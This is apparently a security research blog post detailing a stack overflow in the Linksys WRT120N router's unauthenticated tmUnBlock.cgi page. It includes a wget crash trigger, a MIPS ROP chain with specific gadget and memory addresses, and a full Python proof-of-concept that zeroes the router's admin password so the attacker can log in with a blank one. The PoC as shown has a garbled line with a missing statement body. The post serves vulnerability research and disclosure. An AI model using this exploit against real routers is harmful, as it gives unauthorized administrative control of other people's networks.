With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.
As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:
Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:
Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.
Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the/cgi/tmUnBlock.cgi page does have a handler that processes some user data:
The interesting bit of code to focus on is this:
1
| fprintf (request->socket, "Location %s\n\n" , GetWebParam(cgi_handle, "TM_Block_URL" )); |
Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:
Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.
This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:
1
| $ wget --post-data= "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print " A "x254')" http: //192 .168.1.1 /cgi-bin/tmUnBlock .cgi |
A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:
The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.
Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:
There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:
If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:
- Zero out the admin password
- Return to the return address stored on the stack (we control the stack)
- Add 16 to the stack pointer
This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to thecgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.
Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.
Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer:
We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replacecgi_tmUnblock‘s function epilogue.
There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:
This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblockwill be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:
With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| import sys import urllib2 try : target = sys.argv[ 1 ] except IndexError: print "Usage: %s <target ip>" % sys.argv[ 0 ] sys.exit( 1 ) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data + = "B" * 246 # Filler post_data + = "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data + = "\x80\x31\xF6\x34" # $ra post_data + = "C" * 0x28 # Stack filler post_data + = "D" * 4 # ROP 1 $s0, don't care post_data + = "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data + = "E" * 8 # Stack filler for i in range ( 0 , 4 ): post_data + = "F" * 4 # ROP 2 $s0, don't care post_data + = "G" * 4 # ROP 2 $s1, don't care post_data + = "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data + = "H" * ( 4 - ( 3 * (i / 3 ))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try : req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code = = 500 : print "OK" else : print "Received unexpected server response:" , str (e) except KeyboardInterrupt: pass |
Arbitrary code execution is also possible, but that’s another post for another day.
Comments
Post a Comment